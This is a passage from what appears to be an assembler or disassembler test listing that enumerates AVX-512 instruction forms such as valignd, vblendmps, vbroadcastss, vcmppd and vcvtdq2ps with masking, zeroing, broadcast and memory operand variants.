vaddss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vaddss xmm2{k5}{z}, xmm7, [rbx]
vaddss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vaddss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
valignd xmm2, xmm7, xmm0, 10
valignd xmm2, xmm7, [rbx], 10
valignd xmm2, xmm7, [rbx]{1to4}, 10
valignd xmm2, xmm7, [rbx+r11*8+256], 10
valignd xmm2, xmm7, [rbx+r11*8-256], 10
valignd xmm2{k5}, xmm7, xmm0, 10
valignd xmm2{k5}, xmm7, [rbx], 10
valignd xmm2{k5}, xmm7, [rbx]{1to4}, 10
valignd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
valignd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
valignd xmm2{k5}{z}, xmm7, xmm0, 10
valignd xmm2{k5}{z}, xmm7, [rbx], 10
valignd xmm2{k5}{z}, xmm7, [rbx]{1to4}, 10
valignd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
valignd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
valignd ymm16, ymm13, ymm15, 10
valignd ymm16, ymm13, [rbx], 10
valignd ymm16, ymm13, [rbx]{1to8}, 10
valignd ymm16, ymm13, [rbx+r11*8+256], 10
valignd ymm16, ymm13, [rbx+r11*8-256], 10
valignd ymm16{k5}, ymm13, ymm15, 10
valignd ymm16{k5}, ymm13, [rbx], 10
valignd ymm16{k5}, ymm13, [rbx]{1to8}, 10
valignd ymm16{k5}, ymm13, [rbx+r11*8+256], 10
valignd ymm16{k5}, ymm13, [rbx+r11*8-256], 10
valignd ymm16{k5}{z}, ymm13, ymm15, 10
valignd ymm16{k5}{z}, ymm13, [rbx], 10
valignd ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
valignd ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
valignd ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
valignd zmm24, zmm24, zmm31, 10
valignd zmm24, zmm24, [rbx], 10
valignd zmm24, zmm24, [rbx]{1to16}, 10
valignd zmm24, zmm24, [rbx+r11*8+256], 10
valignd zmm24, zmm24, [rbx+r11*8-256], 10
valignd zmm24{k5}, zmm24, zmm31, 10
valignd zmm24{k5}, zmm24, [rbx], 10
valignd zmm24{k5}, zmm24, [rbx]{1to16}, 10
valignd zmm24{k5}, zmm24, [rbx+r11*8+256], 10
valignd zmm24{k5}, zmm24, [rbx+r11*8-256], 10
valignd zmm24{k5}{z}, zmm24, zmm31, 10
valignd zmm24{k5}{z}, zmm24, [rbx], 10
valignd zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
valignd zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
valignd zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
valignq xmm2, xmm7, xmm0, 10
valignq xmm2, xmm7, [rbx], 10
valignq xmm2, xmm7, [rbx]{1to2}, 10
valignq xmm2, xmm7, [rbx+r11*8+256], 10
valignq xmm2, xmm7, [rbx+r11*8-256], 10
valignq xmm2{k5}, xmm7, xmm0, 10
valignq xmm2{k5}, xmm7, [rbx], 10
valignq xmm2{k5}, xmm7, [rbx]{1to2}, 10
valignq xmm2{k5}, xmm7, [rbx+r11*8+256], 10
valignq xmm2{k5}, xmm7, [rbx+r11*8-256], 10
valignq xmm2{k5}{z}, xmm7, xmm0, 10
valignq xmm2{k5}{z}, xmm7, [rbx], 10
valignq xmm2{k5}{z}, xmm7, [rbx]{1to2}, 10
valignq xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
valignq xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
valignq ymm16, ymm13, ymm15, 10
valignq ymm16, ymm13, [rbx], 10
valignq ymm16, ymm13, [rbx]{1to4}, 10
valignq ymm16, ymm13, [rbx+r11*8+256], 10
valignq ymm16, ymm13, [rbx+r11*8-256], 10
valignq ymm16{k5}, ymm13, ymm15, 10
valignq ymm16{k5}, ymm13, [rbx], 10
valignq ymm16{k5}, ymm13, [rbx]{1to4}, 10
valignq ymm16{k5}, ymm13, [rbx+r11*8+256], 10
valignq ymm16{k5}, ymm13, [rbx+r11*8-256], 10
valignq ymm16{k5}{z}, ymm13, ymm15, 10
valignq ymm16{k5}{z}, ymm13, [rbx], 10
valignq ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
valignq ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
valignq ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
valignq zmm24, zmm24, zmm31, 10
valignq zmm24, zmm24, [rbx], 10
valignq zmm24, zmm24, [rbx]{1to8}, 10
valignq zmm24, zmm24, [rbx+r11*8+256], 10
valignq zmm24, zmm24, [rbx+r11*8-256], 10
valignq zmm24{k5}, zmm24, zmm31, 10
valignq zmm24{k5}, zmm24, [rbx], 10
valignq zmm24{k5}, zmm24, [rbx]{1to8}, 10
valignq zmm24{k5}, zmm24, [rbx+r11*8+256], 10
valignq zmm24{k5}, zmm24, [rbx+r11*8-256], 10
valignq zmm24{k5}{z}, zmm24, zmm31, 10
valignq zmm24{k5}{z}, zmm24, [rbx], 10
valignq zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
valignq zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
valignq zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vblendmpd xmm2, xmm7, xmm0
vblendmpd xmm2, xmm7, [rbx]
vblendmpd xmm2, xmm7, [rbx]{1to2}
vblendmpd xmm2, xmm7, [rbx+r11*8+256]
vblendmpd xmm2, xmm7, [rbx+r11*8-256]
vblendmpd xmm2{k5}, xmm7, xmm0
vblendmpd xmm2{k5}, xmm7, [rbx]
vblendmpd xmm2{k5}, xmm7, [rbx]{1to2}
vblendmpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vblendmpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vblendmpd xmm2{k5}{z}, xmm7, xmm0
vblendmpd xmm2{k5}{z}, xmm7, [rbx]
vblendmpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vblendmpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vblendmpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vblendmpd ymm16, ymm13, ymm15
vblendmpd ymm16, ymm13, [rbx]
vblendmpd ymm16, ymm13, [rbx]{1to4}
vblendmpd ymm16, ymm13, [rbx+r11*8+256]
vblendmpd ymm16, ymm13, [rbx+r11*8-256]
vblendmpd ymm16{k5}, ymm13, ymm15
vblendmpd ymm16{k5}, ymm13, [rbx]
vblendmpd ymm16{k5}, ymm13, [rbx]{1to4}
vblendmpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vblendmpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vblendmpd ymm16{k5}{z}, ymm13, ymm15
vblendmpd ymm16{k5}{z}, ymm13, [rbx]
vblendmpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vblendmpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vblendmpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vblendmpd zmm24, zmm24, zmm31
vblendmpd zmm24, zmm24, [rbx]
vblendmpd zmm24, zmm24, [rbx]{1to8}
vblendmpd zmm24, zmm24, [rbx+r11*8+256]
vblendmpd zmm24, zmm24, [rbx+r11*8-256]
vblendmpd zmm24{k5}, zmm24, zmm31
vblendmpd zmm24{k5}, zmm24, [rbx]
vblendmpd zmm24{k5}, zmm24, [rbx]{1to8}
vblendmpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vblendmpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vblendmpd zmm24{k5}{z}, zmm24, zmm31
vblendmpd zmm24{k5}{z}, zmm24, [rbx]
vblendmpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vblendmpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vblendmpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vblendmps xmm2, xmm7, xmm0
vblendmps xmm2, xmm7, [rbx]
vblendmps xmm2, xmm7, [rbx]{1to4}
vblendmps xmm2, xmm7, [rbx+r11*8+256]
vblendmps xmm2, xmm7, [rbx+r11*8-256]
vblendmps xmm2{k5}, xmm7, xmm0
vblendmps xmm2{k5}, xmm7, [rbx]
vblendmps xmm2{k5}, xmm7, [rbx]{1to4}
vblendmps xmm2{k5}, xmm7, [rbx+r11*8+256]
vblendmps xmm2{k5}, xmm7, [rbx+r11*8-256]
vblendmps xmm2{k5}{z}, xmm7, xmm0
vblendmps xmm2{k5}{z}, xmm7, [rbx]
vblendmps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vblendmps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vblendmps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vblendmps ymm16, ymm13, ymm15
vblendmps ymm16, ymm13, [rbx]
vblendmps ymm16, ymm13, [rbx]{1to8}
vblendmps ymm16, ymm13, [rbx+r11*8+256]
vblendmps ymm16, ymm13, [rbx+r11*8-256]
vblendmps ymm16{k5}, ymm13, ymm15
vblendmps ymm16{k5}, ymm13, [rbx]
vblendmps ymm16{k5}, ymm13, [rbx]{1to8}
vblendmps ymm16{k5}, ymm13, [rbx+r11*8+256]
vblendmps ymm16{k5}, ymm13, [rbx+r11*8-256]
vblendmps ymm16{k5}{z}, ymm13, ymm15
vblendmps ymm16{k5}{z}, ymm13, [rbx]
vblendmps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vblendmps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vblendmps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vblendmps zmm24, zmm24, zmm31
vblendmps zmm24, zmm24, [rbx]
vblendmps zmm24, zmm24, [rbx]{1to16}
vblendmps zmm24, zmm24, [rbx+r11*8+256]
vblendmps zmm24, zmm24, [rbx+r11*8-256]
vblendmps zmm24{k5}, zmm24, zmm31
vblendmps zmm24{k5}, zmm24, [rbx]
vblendmps zmm24{k5}, zmm24, [rbx]{1to16}
vblendmps zmm24{k5}, zmm24, [rbx+r11*8+256]
vblendmps zmm24{k5}, zmm24, [rbx+r11*8-256]
vblendmps zmm24{k5}{z}, zmm24, zmm31
vblendmps zmm24{k5}{z}, zmm24, [rbx]
vblendmps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vblendmps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vblendmps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vbroadcastf32x4 ymm16, [rbx]
vbroadcastf32x4 ymm16, [rbx+rsi*8+256]
vbroadcastf32x4 ymm16, [rbx+rsi*8-256]
vbroadcastf32x4 ymm16{k5}, [rbx]
vbroadcastf32x4 ymm16{k5}, [rbx+rsi*8+256]
vbroadcastf32x4 ymm16{k5}, [rbx+rsi*8-256]
vbroadcastf32x4 ymm16{k5}{z}, [rbx]
vbroadcastf32x4 ymm16{k5}{z}, [rbx+rsi*8+256]
vbroadcastf32x4 ymm16{k5}{z}, [rbx+rsi*8-256]
vbroadcastf32x4 zmm24, [rbx]
vbroadcastf32x4 zmm24, [rbx+rsi*8+256]
vbroadcastf32x4 zmm24, [rbx+rsi*8-256]
vbroadcastf32x4 zmm24{k5}, [rbx]
vbroadcastf32x4 zmm24{k5}, [rbx+rsi*8+256]
vbroadcastf32x4 zmm24{k5}, [rbx+rsi*8-256]
vbroadcastf32x4 zmm24{k5}{z}, [rbx]
vbroadcastf32x4 zmm24{k5}{z}, [rbx+rsi*8+256]
vbroadcastf32x4 zmm24{k5}{z}, [rbx+rsi*8-256]
vbroadcastf64x4 zmm24, [rbx]
vbroadcastf64x4 zmm24, [rbx+rsi*8+256]
vbroadcastf64x4 zmm24, [rbx+rsi*8-256]
vbroadcastf64x4 zmm24{k5}, [rbx]
vbroadcastf64x4 zmm24{k5}, [rbx+rsi*8+256]
vbroadcastf64x4 zmm24{k5}, [rbx+rsi*8-256]
vbroadcastf64x4 zmm24{k5}{z}, [rbx]
vbroadcastf64x4 zmm24{k5}{z}, [rbx+rsi*8+256]
vbroadcastf64x4 zmm24{k5}{z}, [rbx+rsi*8-256]
vbroadcasti32x4 ymm16, [rbx]
vbroadcasti32x4 ymm16, [rbx+rsi*8+256]
vbroadcasti32x4 ymm16, [rbx+rsi*8-256]
vbroadcasti32x4 ymm16{k5}, [rbx]
vbroadcasti32x4 ymm16{k5}, [rbx+rsi*8+256]
vbroadcasti32x4 ymm16{k5}, [rbx+rsi*8-256]
vbroadcasti32x4 ymm16{k5}{z}, [rbx]
vbroadcasti32x4 ymm16{k5}{z}, [rbx+rsi*8+256]
vbroadcasti32x4 ymm16{k5}{z}, [rbx+rsi*8-256]
vbroadcasti32x4 zmm24, [rbx]
vbroadcasti32x4 zmm24, [rbx+rsi*8+256]
vbroadcasti32x4 zmm24, [rbx+rsi*8-256]
vbroadcasti32x4 zmm24{k5}, [rbx]
vbroadcasti32x4 zmm24{k5}, [rbx+rsi*8+256]
vbroadcasti32x4 zmm24{k5}, [rbx+rsi*8-256]
vbroadcasti32x4 zmm24{k5}{z}, [rbx]
vbroadcasti32x4 zmm24{k5}{z}, [rbx+rsi*8+256]
vbroadcasti32x4 zmm24{k5}{z}, [rbx+rsi*8-256]
vbroadcasti64x4 zmm24, [rbx]
vbroadcasti64x4 zmm24, [rbx+rsi*8+256]
vbroadcasti64x4 zmm24, [rbx+rsi*8-256]
vbroadcasti64x4 zmm24{k5}, [rbx]
vbroadcasti64x4 zmm24{k5}, [rbx+rsi*8+256]
vbroadcasti64x4 zmm24{k5}, [rbx+rsi*8-256]
vbroadcasti64x4 zmm24{k5}{z}, [rbx]
vbroadcasti64x4 zmm24{k5}{z}, [rbx+rsi*8+256]
vbroadcasti64x4 zmm24{k5}{z}, [rbx+rsi*8-256]
vbroadcastsd ymm16, xmm0
vbroadcastsd ymm16, [rbx]
vbroadcastsd ymm16, [rbx+r11*8+256]
vbroadcastsd ymm16, [rbx+r11*8-256]
vbroadcastsd ymm16{k5}, xmm0
vbroadcastsd ymm16{k5}, [rbx]
vbroadcastsd ymm16{k5}, [rbx+r11*8+256]
vbroadcastsd ymm16{k5}, [rbx+r11*8-256]
vbroadcastsd ymm16{k5}{z}, xmm0
vbroadcastsd ymm16{k5}{z}, [rbx]
vbroadcastsd ymm16{k5}{z}, [rbx+r11*8+256]
vbroadcastsd ymm16{k5}{z}, [rbx+r11*8-256]
vbroadcastsd zmm24, xmm0
vbroadcastsd zmm24, [rbx]
vbroadcastsd zmm24, [rbx+r11*8+256]
vbroadcastsd zmm24, [rbx+r11*8-256]
vbroadcastsd zmm24{k5}, xmm0
vbroadcastsd zmm24{k5}, [rbx]
vbroadcastsd zmm24{k5}, [rbx+r11*8+256]
vbroadcastsd zmm24{k5}, [rbx+r11*8-256]
vbroadcastsd zmm24{k5}{z}, xmm0
vbroadcastsd zmm24{k5}{z}, [rbx]
vbroadcastsd zmm24{k5}{z}, [rbx+r11*8+256]
vbroadcastsd zmm24{k5}{z}, [rbx+r11*8-256]
vbroadcastss xmm2, xmm0
vbroadcastss xmm2, [rbx]
vbroadcastss xmm2, [rbx+r11*8+256]
vbroadcastss xmm2, [rbx+r11*8-256]
vbroadcastss xmm2{k5}, xmm0
vbroadcastss xmm2{k5}, [rbx]
vbroadcastss xmm2{k5}, [rbx+r11*8+256]
vbroadcastss xmm2{k5}, [rbx+r11*8-256]
vbroadcastss xmm2{k5}{z}, xmm0
vbroadcastss xmm2{k5}{z}, [rbx]
vbroadcastss xmm2{k5}{z}, [rbx+r11*8+256]
vbroadcastss xmm2{k5}{z}, [rbx+r11*8-256]
vbroadcastss ymm16, xmm0
vbroadcastss ymm16, [rbx]
vbroadcastss ymm16, [rbx+r11*8+256]
vbroadcastss ymm16, [rbx+r11*8-256]
vbroadcastss ymm16{k5}, xmm0
vbroadcastss ymm16{k5}, [rbx]
vbroadcastss ymm16{k5}, [rbx+r11*8+256]
vbroadcastss ymm16{k5}, [rbx+r11*8-256]
vbroadcastss ymm16{k5}{z}, xmm0
vbroadcastss ymm16{k5}{z}, [rbx]
vbroadcastss ymm16{k5}{z}, [rbx+r11*8+256]
vbroadcastss ymm16{k5}{z}, [rbx+r11*8-256]
vbroadcastss zmm24, xmm0
vbroadcastss zmm24, [rbx]
vbroadcastss zmm24, [rbx+r11*8+256]
vbroadcastss zmm24, [rbx+r11*8-256]
vbroadcastss zmm24{k5}, xmm0
vbroadcastss zmm24{k5}, [rbx]
vbroadcastss zmm24{k5}, [rbx+r11*8+256]
vbroadcastss zmm24{k5}, [rbx+r11*8-256]
vbroadcastss zmm24{k5}{z}, xmm0
vbroadcastss zmm24{k5}{z}, [rbx]
vbroadcastss zmm24{k5}{z}, [rbx+r11*8+256]
vbroadcastss zmm24{k5}{z}, [rbx+r11*8-256]
vcmppd k3, xmm7, xmm0, 10
vcmppd k3, xmm7, [rbx], 10
vcmppd k3, xmm7, [rbx]{1to2}, 10
vcmppd k3, xmm7, [rbx+r11*8+256], 10
vcmppd k3, xmm7, [rbx+r11*8-256], 10
vcmppd k3, ymm13, ymm15, 10
vcmppd k3, ymm13, [rbx], 10
vcmppd k3, ymm13, [rbx]{1to4}, 10
vcmppd k3, ymm13, [rbx+r11*8+256], 10
vcmppd k3, ymm13, [rbx+r11*8-256], 10
vcmppd k3, zmm24, zmm31, 10
vcmppd k3, zmm24, [rbx], 10
vcmppd k3, zmm24, [rbx]{1to8}, 10
vcmppd k3, zmm24, [rbx+r11*8+256], 10
vcmppd k3, zmm24, [rbx+r11*8-256], 10
vcmppd k3{k5}, xmm7, xmm0, 10
vcmppd k3{k5}, xmm7, [rbx], 10
vcmppd k3{k5}, xmm7, [rbx]{1to2}, 10
vcmppd k3{k5}, xmm7, [rbx+r11*8+256], 10
vcmppd k3{k5}, xmm7, [rbx+r11*8-256], 10
vcmppd k3{k5}, ymm13, ymm15, 10
vcmppd k3{k5}, ymm13, [rbx], 10
vcmppd k3{k5}, ymm13, [rbx]{1to4}, 10
vcmppd k3{k5}, ymm13, [rbx+r11*8+256], 10
vcmppd k3{k5}, ymm13, [rbx+r11*8-256], 10
vcmppd k3{k5}, zmm24, zmm31, 10
vcmppd k3{k5}, zmm24, [rbx], 10
vcmppd k3{k5}, zmm24, [rbx]{1to8}, 10
vcmppd k3{k5}, zmm24, [rbx+r11*8+256], 10
vcmppd k3{k5}, zmm24, [rbx+r11*8-256], 10
vcmpps k3, xmm7, xmm0, 10
vcmpps k3, xmm7, [rbx], 10
vcmpps k3, xmm7, [rbx]{1to4}, 10
vcmpps k3, xmm7, [rbx+r11*8+256], 10
vcmpps k3, xmm7, [rbx+r11*8-256], 10
vcmpps k3, ymm13, ymm15, 10
vcmpps k3, ymm13, [rbx], 10
vcmpps k3, ymm13, [rbx]{1to8}, 10
vcmpps k3, ymm13, [rbx+r11*8+256], 10
vcmpps k3, ymm13, [rbx+r11*8-256], 10
vcmpps k3, zmm24, zmm31, 10
vcmpps k3, zmm24, [rbx], 10
vcmpps k3, zmm24, [rbx]{1to16}, 10
vcmpps k3, zmm24, [rbx+r11*8+256], 10
vcmpps k3, zmm24, [rbx+r11*8-256], 10
vcmpps k3{k5}, xmm7, xmm0, 10
vcmpps k3{k5}, xmm7, [rbx], 10
vcmpps k3{k5}, xmm7, [rbx]{1to4}, 10
vcmpps k3{k5}, xmm7, [rbx+r11*8+256], 10
vcmpps k3{k5}, xmm7, [rbx+r11*8-256], 10
vcmpps k3{k5}, ymm13, ymm15, 10
vcmpps k3{k5}, ymm13, [rbx], 10
vcmpps k3{k5}, ymm13, [rbx]{1to8}, 10
vcmpps k3{k5}, ymm13, [rbx+r11*8+256], 10
vcmpps k3{k5}, ymm13, [rbx+r11*8-256], 10
vcmpps k3{k5}, zmm24, zmm31, 10
vcmpps k3{k5}, zmm24, [rbx], 10
vcmpps k3{k5}, zmm24, [rbx]{1to16}, 10
vcmpps k3{k5}, zmm24, [rbx+r11*8+256], 10
vcmpps k3{k5}, zmm24, [rbx+r11*8-256], 10
vcmpsd k3, xmm7, xmm0, 10
vcmpsd k3, xmm7, [rbx], 10
vcmpsd k3, xmm7, [rbx+r11*8+256], 10
vcmpsd k3, xmm7, [rbx+r11*8-256], 10
vcmpsd k3{k5}, xmm7, xmm0, 10
vcmpsd k3{k5}, xmm7, [rbx], 10
vcmpsd k3{k5}, xmm7, [rbx+r11*8+256], 10
vcmpsd k3{k5}, xmm7, [rbx+r11*8-256], 10
vcmpss k3, xmm7, xmm0, 10
vcmpss k3, xmm7, [rbx], 10
vcmpss k3, xmm7, [rbx+r11*8+256], 10
vcmpss k3, xmm7, [rbx+r11*8-256], 10
vcmpss k3{k5}, xmm7, xmm0, 10
vcmpss k3{k5}, xmm7, [rbx], 10
vcmpss k3{k5}, xmm7, [rbx+r11*8+256], 10
vcmpss k3{k5}, xmm7, [rbx+r11*8-256], 10
vcomisd xmm2, xmm0
vcomisd xmm2, xmm0, {sae}
vcomisd xmm2, [rbx]
vcomisd xmm2, [rbx+r11*8+256]
vcomisd xmm2, [rbx+r11*8-256]
vcomiss xmm2, xmm0
vcomiss xmm2, xmm0, {sae}
vcomiss xmm2, [rbx]
vcomiss xmm2, [rbx+r11*8+256]
vcomiss xmm2, [rbx+r11*8-256]
vcompresspd xmm0, xmm2
vcompresspd ymm15, ymm16
vcompresspd zmm31, zmm24
vcompresspd [rbx], xmm2
vcompresspd [rbx], ymm16
vcompresspd [rbx], zmm24
vcompresspd [rbx+r11*8+256], xmm2
vcompresspd [rbx+r11*8+256], ymm16
vcompresspd [rbx+r11*8+256], zmm24
vcompresspd [rbx+r11*8-256], xmm2
vcompresspd [rbx+r11*8-256], ymm16
vcompresspd [rbx+r11*8-256], zmm24
vcompressps xmm0, xmm2
vcompressps ymm15, ymm16
vcompressps zmm31, zmm24
vcompressps [rbx], xmm2
vcompressps [rbx], ymm16
vcompressps [rbx], zmm24
vcompressps [rbx+r11*8+256], xmm2
vcompressps [rbx+r11*8+256], ymm16
vcompressps [rbx+r11*8+256], zmm24
vcompressps [rbx+r11*8-256], xmm2
vcompressps [rbx+r11*8-256], ymm16
vcompressps [rbx+r11*8-256], zmm24
vcvtdq2pd xmm2, xmm0
vcvtdq2pd xmm2, [rbx]
vcvtdq2pd xmm2, [rbx]{1to2}
vcvtdq2pd xmm2, [rbx+r11*8+256]
vcvtdq2pd xmm2, [rbx+r11*8-256]
vcvtdq2pd xmm2{k5}, xmm0
vcvtdq2pd xmm2{k5}, [rbx]
vcvtdq2pd xmm2{k5}, [rbx]{1to2}
vcvtdq2pd xmm2{k5}, [rbx+r11*8+256]
vcvtdq2pd xmm2{k5}, [rbx+r11*8-256]
vcvtdq2pd xmm2{k5}{z}, xmm0
vcvtdq2pd xmm2{k5}{z}, [rbx]
vcvtdq2pd xmm2{k5}{z}, [rbx]{1to2}
vcvtdq2pd xmm2{k5}{z}, [rbx+r11*8+256]
vcvtdq2pd xmm2{k5}{z}, [rbx+r11*8-256]
vcvtdq2pd ymm16, xmm0
vcvtdq2pd ymm16, [rbx]
vcvtdq2pd ymm16, [rbx]{1to4}
vcvtdq2pd ymm16, [rbx+r11*8+256]
vcvtdq2pd ymm16, [rbx+r11*8-256]
vcvtdq2pd ymm16{k5}, xmm0
vcvtdq2pd ymm16{k5}, [rbx]
vcvtdq2pd ymm16{k5}, [rbx]{1to4}
vcvtdq2pd ymm16{k5}, [rbx+r11*8+256]
vcvtdq2pd ymm16{k5}, [rbx+r11*8-256]
vcvtdq2pd ymm16{k5}{z}, xmm0
vcvtdq2pd ymm16{k5}{z}, [rbx]
vcvtdq2pd ymm16{k5}{z}, [rbx]{1to4}
vcvtdq2pd ymm16{k5}{z}, [rbx+r11*8+256]
vcvtdq2pd ymm16{k5}{z}, [rbx+r11*8-256]
vcvtdq2pd zmm24, ymm15
vcvtdq2pd zmm24, [rbx]
vcvtdq2pd zmm24, [rbx]{1to8}
vcvtdq2pd zmm24, [rbx+r11*8+256]
vcvtdq2pd zmm24, [rbx+r11*8-256]
vcvtdq2pd zmm24{k5}, ymm15
vcvtdq2pd zmm24{k5}, [rbx]
vcvtdq2pd zmm24{k5}, [rbx]{1to8}
vcvtdq2pd zmm24{k5}, [rbx+r11*8+256]
vcvtdq2pd zmm24{k5}, [rbx+r11*8-256]
vcvtdq2pd zmm24{k5}{z}, ymm15
vcvtdq2pd zmm24{k5}{z}, [rbx]
vcvtdq2pd zmm24{k5}{z}, [rbx]{1to8}
vcvtdq2pd zmm24{k5}{z}, [rbx+r11*8+256]
vcvtdq2pd zmm24{k5}{z}, [rbx+r11*8-256]
vcvtdq2ps xmm2, xmm0
vcvtdq2ps xmm2, [rbx]
vcvtdq2ps xmm2, [rbx]{1to4}
vcvtdq2ps xmm2, [rbx+r11*8+256]
vcvtdq2ps xmm2, [rbx+r11*8-256]
vcvtdq2ps xmm2{k5}, xmm0
vcvtdq2ps xmm2{k5}, [rbx]
vcvtdq2ps xmm2{k5}, [rbx]{1to4}
vcvtdq2ps xmm2{k5}, [rbx+r11*8+256]
vcvtdq2ps xmm2{k5}, [rbx+r11*8-256]
vcvtdq2ps xmm2{k5}{z}, xmm0
vcvtdq2ps xmm2{k5}{z}, [rbx]
vcvtdq2ps xmm2{k5}{z}, [rbx]{1to4}
vcvtdq2ps xmm2{k5}{z}, [rbx+r11*8+256]
vcvtdq2ps xmm2{k5}{z}, [rbx+r11*8-256]
vcvtdq2ps ymm16, ymm15
vcvtdq2ps ymm16, [rbx]
vcvtdq2ps ymm16, [rbx]{1to8}
vcvtdq2ps ymm16, [rbx+r11*8+256]
vcvtdq2ps ymm16, [rbx+r11*8-256]
vcvtdq2ps ymm16{k5}, ymm15
vcvtdq2ps ymm16{k5}, [rbx]
vcvtdq2ps ymm16{k5}, [rbx]{1to8}
vcvtdq2ps ymm16{k5}, [rbx+r11*8+256]
vcvtdq2ps ymm16{k5}, [rbx+r11*8-256]
vcvtdq2ps ymm16{k5}{z}, ymm15
vcvtdq2ps ymm16{k5}{z}, [rbx]
vcvtdq2ps ymm16{k5}{z}, [rbx]{1to8}
vcvtdq2ps ymm16{k5}{z}, [rbx+r11*8+256]
vcvtdq2ps ymm16{k5}{z}, [rbx+r11*8-256]
vcvtdq2ps zmm24, zmm31
vcvtdq2ps zmm24, zmm31, {rd-sae}
vcvtdq2ps zmm24, [rbx]
vcvtdq2ps zmm24, [rbx]{1to16}
vcvtdq2ps zmm24, [rbx+r11*8+256]
vcvtdq2ps zmm24, [rbx+r11*8-256]
vcvtdq2ps zmm24{k5}, zmm31
vcvtdq2ps zmm24{k5}, zmm31, {rd-sae}
vcvtdq2ps zmm24{k5}, [rbx]
vcvtdq2ps zmm24{k5}, [rbx]{1to16}
vcvtdq2ps zmm24{k5}, [rbx+r11*8+256]
vcvtdq2ps zmm24{k5}, [rbx+r11*8-256]
vcvtdq2ps zmm24{k5}{z}, zmm31
vcvtdq2ps zmm24{k5}{z}, zmm31, {rd-sae}
vcvtdq2ps zmm24{k5}{z}, [rbx]
vcvtdq2ps zmm24{k5}{z}, [rbx]{1to16}
vcvtdq2ps zmm24{k5}{z}, [rbx+r11*8+256]
vcvtdq2ps zmm24{k5}{z}, [rbx+r11*8-256]
vcvtpd2dq xmm2, xmm0
vcvtpd2dq xmm2, ymm15
vcvtpd2dq xmm2, [rbx]
vcvtpd2dq xmm2, [rbx]{1to2}
vcvtpd2dq xmm2, [rbx]{1to4}
vcvtpd2dq xmm2, [rbx+r11*8+256]
vcvtpd2dq xmm2, [rbx+r11*8-256]
vcvtpd2dq xmm2{k5}, xmm0
vcvtpd2dq xmm2{k5}, ymm15
vcvtpd2dq xmm2{k5}, [rbx]{1to2}
vcvtpd2dq xmm2{k5}, [rbx]{1to4}
vcvtpd2dq xmm2{k5}{z}, xmm0
vcvtpd2dq xmm2{k5}{z}, ymm15
vcvtpd2dq xmm2{k5}{z}, [rbx]{1to2}
vcvtpd2dq xmm2{k5}{z}, [rbx]{1to4}
vcvtpd2dq ymm16, zmm31
vcvtpd2dq ymm16, zmm31, {rd-sae}
vcvtpd2dq ymm16, [rbx]
vcvtpd2dq ymm16, [rbx]{1to8}
vcvtpd2dq ymm16, [rbx+r11*8+256]
vcvtpd2dq ymm16, [rbx+r11*8-256]
vcvtpd2dq ymm16{k5}, zmm31
vcvtpd2dq ymm16{k5}, zmm31, {rd-sae}
vcvtpd2dq ymm16{k5}, [rbx]
vcvtpd2dq ymm16{k5}, [rbx]{1to8}
vcvtpd2dq ymm16{k5}, [rbx+r11*8+256]
vcvtpd2dq ymm16{k5}, [rbx+r11*8-256]
vcvtpd2dq ymm16{k5}{z}, zmm31
vcvtpd2dq ymm16{k5}{z}, zmm31, {rd-sae}
vcvtpd2dq ymm16{k5}{z}, [rbx]
vcvtpd2dq ymm16{k5}{z}, [rbx]{1to8}
vcvtpd2dq ymm16{k5}{z}, [rbx+r11*8+256]
vcvtpd2dq ymm16{k5}{z}, [rbx+r11*8-256]
vcvtpd2ps xmm2, xmm0
vcvtpd2ps xmm2, ymm15
vcvtpd2ps xmm2, [rbx]
vcvtpd2ps xmm2, [rbx]{1to2}
vcvtpd2ps xmm2, [rbx]{1to4}
vcvtpd2ps xmm2, [rbx+r11*8+256]
vcvtpd2ps xmm2, [rbx+r11*8-256]
vcvtpd2ps xmm2{k5}, xmm0
vcvtpd2ps xmm2{k5}, ymm15
vcvtpd2ps xmm2{k5}, [rbx]{1to2}
vcvtpd2ps xmm2{k5}, [rbx]{1to4}
vcvtpd2ps xmm2{k5}{z}, xmm0
vcvtpd2ps xmm2{k5}{z}, ymm15
vcvtpd2ps xmm2{k5}{z}, [rbx]{1to2}
